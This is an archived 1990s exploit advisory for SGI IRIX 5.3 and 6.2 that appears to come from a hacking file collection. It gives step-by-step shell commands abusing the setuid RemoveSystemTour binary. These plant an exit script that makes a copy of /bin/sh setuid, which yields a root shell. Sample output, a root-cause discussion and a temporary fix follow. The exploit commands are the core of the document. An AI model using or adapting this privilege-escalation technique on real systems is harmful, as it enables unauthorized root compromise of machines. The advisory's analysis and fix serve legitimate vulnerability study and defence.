home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / sgi_systour.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  53 lines

  1.  
  2. PROBLEM. systour
  3. AFFECTS. SGI IRIX 5.3 and 6.2 with the systour package available.
  4. REQUIRED. account on server
  5. RISK. root compromise, denial of service, etc.
  6.  
  7. ---
  8.  
  9. Exploit:
  10.  
  11. First, we set up an environment for running inst. dryrun is set to true
  12. because we are considerate environmentalists.
  13.  
  14. $ rbase=$HOME; export rbase
  15. $ mkdir -p $HOME/var/inst
  16. $ echo "dryrun: true" > $HOME/.swmgrrc
  17.  
  18. These three lines should be very familiar to all exploitors.
  19.  
  20. $ cp -p /bin/sh /tmp/foobar
  21. $ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops
  22. $ chmod a+x $HOME/var/inst/.exitops
  23.  
  24. Now run it.
  25.  
  26. $ /usr/lib/tour/bin/RemoveSystemTour
  27. Executing outstanding exit-commands from previous session ..
  28. Successfully completed exit-commands from previous session.
  29. Reading installation history
  30. Checking dependencies
  31. ERROR : Software Manager: automatic installation failed: New target
  32. (nothing installed) and no distribution.
  33.  
  34. ---
  35.  
  36. DISCUSSION. The easiest solution is to replace RemoveSystemTour with
  37. a binary that checks the password. However, RemoveSystemTour may not be
  38. the only way to access inst, and so these general recommendations apply:
  39.  
  40. inst should check UID and lock configuration options when called non-
  41. interactively from versions and with euid 0. inst also has a race
  42. condition on the file /tmp/shPID0, the shell script it creates to make the
  43. appropriate directory (rbase). inst should verify the variables it
  44. uses--by relying on an external shell script, environment variables, IFS,
  45. etc. can be tampered with. Finally, inst will happily overwrite logfiles
  46. specified in the .swmgrrc file and creat() the shell script over anything.
  47.  
  48. ---
  49.  
  50. TEMPORARY FIX. Either remove the system tour or chmod -s the
  51. RemoveSystemTour binary.
  52.  
  53.